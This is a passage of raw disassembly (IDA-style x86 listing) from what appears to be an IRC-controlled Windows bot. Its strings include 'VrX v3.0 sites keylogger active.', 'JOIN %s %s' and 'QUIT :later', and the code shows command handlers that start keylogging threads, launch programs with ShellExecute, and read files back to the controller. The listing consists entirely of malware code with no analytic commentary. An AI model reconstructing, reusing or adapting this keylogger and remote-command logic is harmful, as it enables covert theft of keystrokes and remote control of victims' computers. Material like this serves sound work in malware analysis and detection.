		mov	[ebp+var_2228],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_23B0],	esi
		push	[ebp+arg_18]
		mov	[ebp+var_2224],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42A338
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_222C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23B0]
		push	ebx
		push	eax
		push	offset byte_414703
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_222C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40883F

loc_40882D:				; CODE XREF: sub_401ACD+6D70j
		cmp	[ebp+var_2220],	ebx
		jnz	short loc_40885A
		push	32h
		nop
		call	near ptr 2680F3Dh
		jmp	short loc_40882D
; ---------------------------------------------------------------------------

loc_40883F:				; CODE XREF: sub_401ACD+6D5Ej
		nop
		call	near ptr 269096Bh
		push	eax
		push	offset dword_42A2FC

loc_40884B:				; CODE XREF: sub_401ACD+6CADj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch

loc_40885A:				; CODE XREF: sub_401ACD+6C91j
					; sub_401ACD+6D66j
		cmp	[ebp+var_8], ebx
		jnz	loc_403FBE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_403FB6
; ---------------------------------------------------------------------------

loc_40887A:				; CODE XREF: sub_401ACD+48BDj
					; sub_401ACD+48D4j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A2F4
		push	eax
		call	sub_41C266
		push	edi
		call	sub_41C159
		add	esp, 10h

loc_408897:				; CODE XREF: sub_401ACD+6E31j
		test	eax, eax
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644

loc_4088B1:				; CODE XREF: sub_401ACD+789Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2EC
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E92C[eax]
		call	sub_409823
		jmp	loc_4048F0
; ---------------------------------------------------------------------------

loc_4088DA:				; CODE XREF: sub_401ACD+488Fj
					; sub_401ACD+48A6j
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		push	offset dword_42A2E0
		push	eax
		call	sub_41C266
		push	edi
		call	sub_41C159
		add	esp, 14h
		jmp	short loc_408897
; ---------------------------------------------------------------------------

loc_408900:				; CODE XREF: sub_401ACD+4861j
					; sub_401ACD+4878j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B8A0
		push	eax
		call	sub_41C266
		push	edi
		call	sub_41C159
		add	esp, 10h
		test	eax, eax
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2EC
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E92C[eax]
		call	sub_409823
		add	esp, 0Ch
		push	[ebp+arg_18]
		push	edi
		push	offset dword_42A2C4

loc_408967:				; CODE XREF: sub_401ACD+6F24j
					; sub_401ACD+6F92j ...
		call	sub_415DAC
		jmp	loc_4048F0
; ---------------------------------------------------------------------------

loc_408971:				; CODE XREF: sub_401ACD+4833j
					; sub_401ACD+484Aj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4089A2
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A2BC
		push	eax
		call	sub_41C266
		add	esp, 0Ch

loc_4089A2:				; CODE XREF: sub_401ACD+6EBEj
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2EC
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E92C[eax]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A2A0
		jmp	loc_408967
; ---------------------------------------------------------------------------

loc_4089F6:				; CODE XREF: sub_401ACD+4805j
					; sub_401ACD+481Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	esi
		push	offset dword_42A2EC
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E92C[eax]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A284
		jmp	loc_408967
; ---------------------------------------------------------------------------

loc_408A64:				; CODE XREF: sub_401ACD+47D7j
					; sub_401ACD+47EEj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	offset unk_42A25C
		jmp	loc_40963D
; ---------------------------------------------------------------------------

loc_408A9E:				; CODE XREF: sub_401ACD+47A9j
					; sub_401ACD+47C0j
		push	[ebp+var_8C]
		push	offset dword_42CCD8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F75
		push	[ebp+arg_18]
		push	offset dword_42A250
		push	[ebp+arg_4]
		call	sub_409823
		push	edi
		call	sub_41C159
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	near ptr 2680F3Dh
		nop
		push	[ebp+esi+var_84]
		push	[ebp+arg_18]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		push	offset dword_42A23C
		call	sub_415D38
		jmp	loc_4034BF
; ---------------------------------------------------------------------------

loc_408B04:				; CODE XREF: sub_401ACD+477Bj
					; sub_401ACD+4792j
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		call	sub_41B9C0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409644
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A96C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h
		push	esi
		push	edi
		push	offset unk_42A220
		jmp	loc_408967
; ---------------------------------------------------------------------------

loc_408B6D:				; CODE XREF: sub_401ACD+474Dj
					; sub_401ACD+4764j
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		call	sub_41B9C0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409644
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		push	esi
		push	edi
		push	offset unk_42A204
		jmp	loc_408967
; ---------------------------------------------------------------------------

loc_408BBE:				; CODE XREF: sub_401ACD+471Fj
					; sub_401ACD+4736j
		cmp	[ebp+var_C], ebx
		jz	loc_401F75
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401F75
		push	eax
		push	edi
		call	sub_415C40
		pop	ecx
		pop	ecx
		push	edi
		push	offset unk_42A1E8
		jmp	loc_40723F
; ---------------------------------------------------------------------------

loc_408BF0:				; CODE XREF: sub_401ACD+46F1j
					; sub_401ACD+4708j
		push	[ebp+arg_18]
		push	edi
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418A2E

loc_408C05:				; CODE XREF: sub_401ACD+25ECj
		add	esp, 14h
		jmp	loc_401F75
; ---------------------------------------------------------------------------

loc_408C0D:				; CODE XREF: sub_401ACD+46B1j
					; sub_401ACD+46C8j
		push	edi
		push	[ebp+arg_1C]
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409644
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	loc_408CB1
		push	esi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408C99
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A434
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	edi
		push	offset unk_42A1C4
		push	eax
		call	sub_41C266
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_408699
; ---------------------------------------------------------------------------

loc_408C99:				; CODE XREF: sub_401ACD+7171j
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A194
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_408699
; ---------------------------------------------------------------------------

loc_408CB1:				; CODE XREF: sub_401ACD+715Cj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41B243
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A17C
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		jmp	loc_408699
; ---------------------------------------------------------------------------

loc_408CFB:				; CODE XREF: sub_401ACD+4434j
					; sub_401ACD+444Bj
		push	edi
		push	23h
		push	offset aKeylog_0 ; "Keylog"
		push	offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."

loc_408D08:				; CODE XREF: sub_401ACD+103Cj
					; sub_401ACD+108Fj ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B648
		add	esp, 20h
		jmp	loc_401F75
; ---------------------------------------------------------------------------

loc_408D24:				; CODE XREF: sub_401ACD+4406j
					; sub_401ACD+441Dj
		push	23h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_408D3A
		push	offset aKeylogerAlread ; "Keyloger Already running."
		jmp	loc_406E22
; ---------------------------------------------------------------------------

loc_408D3A:				; CODE XREF: sub_401ACD+7261j
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		push	offset aWeb	; "web"
		mov	[ebp+var_A08], eax
		mov	[ebp+var_A10], ebx
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408DB9
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_A10], 1
		cmp	esi, ebx
		jnz	short loc_408D9D
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_43DB98
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408D9D
		mov	esi, [ebp+var_88]

loc_408D9D:				; CODE XREF: sub_401ACD+72B2j
					; sub_401ACD+72C8j
		push	esi
		lea	eax, [ebp+var_A90]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		push	offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."
		jmp	short loc_408E0F
; ---------------------------------------------------------------------------

loc_408DB9:				; CODE XREF: sub_401ACD+729Dj
		push	edi
		push	offset aNormal_0 ; "normal"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408E97
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_408DF5
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_43DB98
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408DF5
		mov	esi, [ebp+var_88]

loc_408DF5:				; CODE XREF: sub_401ACD+730Aj
					; sub_401ACD+7320j
		push	esi
		lea	eax, [ebp+var_A90]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		push	offset aNormalKeyLogge ; "Normal key logger active."

loc_408E0F:				; CODE XREF: sub_401ACD+72EAj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	ebx
		push	23h
		push	eax
		call	sub_40B3BA
		add	esp, 0Ch
		mov	[ebp+var_A94], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset byte_4126A7
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_A94]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_408E7A

loc_408E64:				; CODE XREF: sub_401ACD+73ABj
		cmp	[ebp+var_A04], ebx
		jnz	loc_4081AD
		push	32h
		call	near ptr 2680F3Dh
		nop
		jmp	short loc_408E64
; ---------------------------------------------------------------------------

loc_408E7A:				; CODE XREF: sub_401ACD+7395j
		nop
		call	near ptr 269096Bh
		push	eax
		push	offset aFailedToStartL ; "Failed to start logging thread, error: "...

loc_408E86:				; CODE XREF: sub_401ACD+20F8j
					; sub_401ACD+2E94j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		jmp	loc_4081AA
; ---------------------------------------------------------------------------

loc_408E97:				; CODE XREF: sub_401ACD+72FBj
		push	offset aUnknowModeType ; "Unknow mode type."
		jmp	loc_406E22
; ---------------------------------------------------------------------------

loc_408EA1:				; CODE XREF: sub_401ACD+4065j
					; sub_401ACD+407Cj
		push	offset aR	; "r"
		push	edi
		call	sub_41BEA2
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408F0D
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		call	sub_41C52F
		add	esp, 0Ch

loc_408ECA:				; CODE XREF: sub_401ACD+742Cj
		test	eax, eax
		jz	short loc_408EFB
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		call	sub_41C52F
		add	esp, 20h
		jmp	short loc_408ECA
; ---------------------------------------------------------------------------

loc_408EFB:				; CODE XREF: sub_401ACD+73FFj
		push	esi
		call	sub_41BA3B
		pop	ecx
		push	edi
		push	offset unk_42A0A8
		jmp	loc_409091
; ---------------------------------------------------------------------------

loc_408F0D:				; CODE XREF: sub_401ACD+73E5j
		push	edi
		push	offset unk_42A088
		jmp	loc_406BEF
; ---------------------------------------------------------------------------

loc_408F18:				; CODE XREF: sub_401ACD+4037j
					; sub_401ACD+404Ej
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	offset asc_42A084 ; "\n"
		push	esi
		call	sub_41C8A0
		push	esi
		call	sub_419F9D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_408F55
		push	offset unk_42A058
		jmp	short loc_408FA2
; ---------------------------------------------------------------------------

loc_408F55:				; CODE XREF: sub_401ACD+747Fj
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A040
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_408699
; ---------------------------------------------------------------------------

loc_408F6F:				; CODE XREF: sub_401ACD+4009j
					; sub_401ACD+4020j
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409644
		push	eax
		call	sub_41875E
		test	eax, eax
		pop	ecx
		jnz	short loc_408F9D
		push	offset unk_42A020
		jmp	short loc_408FA2
; ---------------------------------------------------------------------------

loc_408F9D:				; CODE XREF: sub_401ACD+74C7j
		push	offset dword_42A004

loc_408FA2:				; CODE XREF: sub_401ACD+7486j
					; sub_401ACD+74CEj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_408678
; ---------------------------------------------------------------------------

loc_408FB5:				; CODE XREF: sub_401ACD+3FDBj
					; sub_401ACD+3FF2j
		push	7Fh
		lea	eax, [ebp+var_2084]
		push	edi
		push	eax
		call	sub_41BFD0
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_408FE4
		push	7Fh
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch

loc_408FE4:				; CODE XREF: sub_401ACD+7503j
		push	7Fh
		lea	eax, [ebp+var_1F84]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2088],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1F00],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EFC],	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429FEC
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ch
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_1F04],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2088]
		push	ebx
		push	eax
		push	offset sub_41B302
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_1F04]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_409085

loc_40906F:				; CODE XREF: sub_401ACD+75B6j
		cmp	[ebp+var_1EF8],	ebx
		jnz	loc_406C1F
		push	32h
		nop
		call	near ptr 2680F3Dh
		jmp	short loc_40906F
; ---------------------------------------------------------------------------

loc_409085:				; CODE XREF: sub_401ACD+75A0j
		nop
		call	near ptr 269096Bh
		push	eax
		push	offset unk_429FAC

loc_409091:				; CODE XREF: sub_401ACD+298Bj
					; sub_401ACD+743Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_406C1F
; ---------------------------------------------------------------------------

loc_4090A5:				; CODE XREF: sub_401ACD+3FADj
					; sub_401ACD+3FC4j
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	edi
		call	sub_41036B
		add	esp, 10h
		push	edi
		push	offset dword_429F94
		jmp	loc_40963D
; ---------------------------------------------------------------------------

loc_4090C3:				; CODE XREF: sub_401ACD+3F7Fj
					; sub_401ACD+3F96j
		push	14h
		lea	eax, [ebp+var_1D4C]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1D38]
		push	edi
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D54],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C34]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BAC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA8],	eax
		lea	eax, [ebp+var_1C34]
		push	eax
		lea	eax, [ebp+var_1D38]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_429F70
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_1BB0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D54]
		push	ebx
		push	eax
		push	offset loc_4161C1
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_1BB0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	loc_4023CA

loc_40918A:				; CODE XREF: sub_401ACD+76D1j
		cmp	[ebp+var_1BA4],	ebx
		jnz	loc_4082DE
		push	32h
		nop
		call	near ptr 2680F3Dh
		jmp	short loc_40918A
; ---------------------------------------------------------------------------

loc_4091A0:				; CODE XREF: sub_401ACD+3F51j
					; sub_401ACD+3F68j
		push	edi
		nop
		call	near ptr 26901DFh
		test	eax, eax
		jz	short loc_4091C7
		push	edi
		push	offset dword_429F54
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		jmp	loc_40929A
; ---------------------------------------------------------------------------

loc_4091C7:				; CODE XREF: sub_401ACD+76DCj
		push	offset dword_42A5AC
		call	sub_418699
		pop	ecx
		push	eax
		jmp	loc_403EED
; ---------------------------------------------------------------------------

loc_4091D8:				; CODE XREF: sub_401ACD+3F23j
					; sub_401ACD+3F3Aj
		push	edi
		call	sub_41C159
		push	eax
		call	sub_419F16
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_4091F5
		push	offset unk_429F30
		jmp	short loc_4091FA
; ---------------------------------------------------------------------------

loc_4091F5:				; CODE XREF: sub_401ACD+771Fj
		push	offset unk_429F00

loc_4091FA:				; CODE XREF: sub_401ACD+7726j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406C22
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		jmp	loc_406C22
; ---------------------------------------------------------------------------

loc_409233:				; CODE XREF: sub_401ACD+3EF5j
					; sub_401ACD+3F0Cj
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_419C09
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_409255
		push	offset unk_429EE0
		jmp	loc_406BEF
; ---------------------------------------------------------------------------

loc_409255:				; CODE XREF: sub_401ACD+777Cj
		push	offset unk_429EB0
		jmp	loc_406BEF
; ---------------------------------------------------------------------------

loc_40925F:				; CODE XREF: sub_401ACD+3EC7j
					; sub_401ACD+3EDEj
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_4092A2
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4CB99C
		cmp	eax, ebx
		jz	short loc_4092BD
		push	dword ptr [eax]

loc_409288:				; CODE XREF: sub_401ACD+77EEj
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429E90
		push	eax
		call	sub_41C266

loc_40929A:				; CODE XREF: sub_401ACD+76F5j
		add	esp, 10h
		jmp	loc_406BFE
; ---------------------------------------------------------------------------

loc_4092A2:				; CODE XREF: sub_401ACD+77A2j
		push	edi
		call	dword_4CBA68
		cmp	eax, ebx
		jz	short loc_4092BD
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4CBA70
		push	eax
		jmp	short loc_409288
; ---------------------------------------------------------------------------

loc_4092BD:				; CODE XREF: sub_401ACD+77B7j
					; sub_401ACD+77DEj
		push	offset unk_429E68
		jmp	loc_4084F5
; ---------------------------------------------------------------------------

loc_4092C7:				; CODE XREF: sub_401ACD+3E99j
					; sub_401ACD+3EB0j
		push	7Fh
		push	edi
		push	[ebp+arg_14]
		call	sub_41BFD0
		add	esp, 0Ch
		push	edi
		push	offset unk_429E44
		jmp	loc_408E86
; ---------------------------------------------------------------------------

loc_4092E0:				; CODE XREF: sub_401ACD+3E6Bj
					; sub_401ACD+3E82j
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB950
		test	eax, eax
		push	edi
		jz	short loc_409300
		push	offset unk_429E24
		jmp	loc_406BEF
; ---------------------------------------------------------------------------

loc_409300:				; CODE XREF: sub_401ACD+7827j
		push	offset unk_429E00
		jmp	loc_406BEF
; ---------------------------------------------------------------------------

loc_40930A:				; CODE XREF: sub_401ACD+3E3Dj
					; sub_401ACD+3E54j
		mov	al, [edi]
		mov	byte_429094, al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset unk_429DDC
		jmp	loc_408E86
; ---------------------------------------------------------------------------

loc_40931F:				; CODE XREF: sub_401ACD+3E0Fj
					; sub_401ACD+3E26j
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40AE84
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B8A0
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_4088B1
; ---------------------------------------------------------------------------

loc_40936D:				; CODE XREF: sub_401ACD+3DE1j
					; sub_401ACD+3DF8j
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_401F75
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_401F75
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E92C[eax]
		call	sub_409823
		pop	ecx
		pop	ecx
		push	1F4h
		call	near ptr 2680F3Dh
		nop
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E92C[eax]
		call	dword_4CBA7C
		push	[ebp+var_10]
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E934[eax]
		nop
		call	near ptr 26A0933h
		push	edi
		call	sub_41C159
		imul	eax, 234h
		push	edi
		mov	dword_43E934[eax], ebx
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43E720[eax], bl
		jmp	loc_401F75
; ---------------------------------------------------------------------------

loc_409418:				; CODE XREF: sub_401ACD+3DB3j
					; sub_401ACD+3DCAj
		push	edi
		push	offset aAll	; "all"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409447
		call	sub_40B583
		cmp	eax, ebx
		jle	short loc_40943D
		push	eax
		push	offset unk_429DB0
		jmp	loc_40723F
; ---------------------------------------------------------------------------

loc_40943D:				; CODE XREF: sub_401ACD+7963j
		push	offset unk_429D88
		jmp	loc_403F8F
; ---------------------------------------------------------------------------

loc_409447:				; CODE XREF: sub_401ACD+795Aj
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401F75
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax

loc_409463:				; CODE XREF: sub_401ACD+7A07j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401F75
		push	esi
		call	sub_41C159
		push	eax
		call	sub_40B4F5
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_40948A
		push	offset unk_429D64
		jmp	short loc_40948F
; ---------------------------------------------------------------------------

loc_40948A:				; CODE XREF: sub_401ACD+79B4j
		push	offset unk_429D38

loc_40948F:				; CODE XREF: sub_401ACD+79BBj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4094BF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h

loc_4094BF:				; CODE XREF: sub_401ACD+79D4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_409463
		jmp	loc_401F75
; ---------------------------------------------------------------------------

loc_4094DB:				; CODE XREF: sub_401ACD+3D85j
					; sub_401ACD+3D9Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	esi
		push	offset dword_42A2EC
